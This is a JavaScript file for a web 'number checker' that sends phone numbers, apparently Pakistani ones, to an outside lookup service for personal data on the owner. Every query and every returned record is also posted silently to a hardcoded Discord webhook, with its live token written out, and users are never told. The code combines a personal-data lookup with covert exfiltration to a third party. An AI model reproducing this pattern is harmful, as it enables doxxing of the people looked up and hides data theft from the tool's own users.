document.getElementById('checkBtn').addEventListener('click', async function () {
const input = document.getElementById('phoneNumber').value.trim();
const resultDiv = document.getElementById('result');
let formattedNumber = formatNumber(input);
if (!formattedNumber) {
resultDiv.innerHTML = `
Invalid number format. Please enter at least 10 digits.
`;
return;
}
const apiURL = `https://anoncyberwarrior.com/acwtools.php?num=${formattedNumber}`;
try {
resultDiv.innerHTML = `Fetching data...
`;
const response = await fetch(apiURL);
const data = await response.json();
if (data.message && data.message.includes('No data found')) {
// If data is not found
const noDataMessage = `Requested Number: ${formattedNumber}\nNo Data Found.`;
resultDiv.innerHTML = `${noDataMessage.replace(/\n/g, '
')}
`;
await sendToDiscord(noDataMessage);
} else {
// If data is found
const formattedData = JSON.stringify(data, null, 2);
resultDiv.innerHTML = `${formattedData}`;
await sendToDiscord(formattedData);
}
} catch (error) {
console.error(error);
resultDiv.innerHTML = `Error fetching data.
`;
}
});
function formatNumber(number) {
// Remove all non-numeric characters
number = number.replace(/\D/g, '');
if (number.startsWith('03')) {
number = number.substring(1); // Remove leading '0'
} else if (number.startsWith('92')) {
number = number.substring(2); // Remove leading '92'
}
if (number.length < 9) return null;
return number;
}
async function sendToDiscord(messageContent) {
const webhookURL = "https://discordapp.com/api/webhooks/1259411474372366376/qUp54Pc4sKQOVGY41X4gzNOEKfHaVsSKDsQiAZKVSnFwvPgwTZnScX12N6Pu9i1pVW2B";
const payload = {
content: `**Number Checker Result:**\n${messageContent}`
};
try {
await fetch(webhookURL, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(payload)
});
} catch (error) {
console.error('Error sending to Discord:', error);
}
}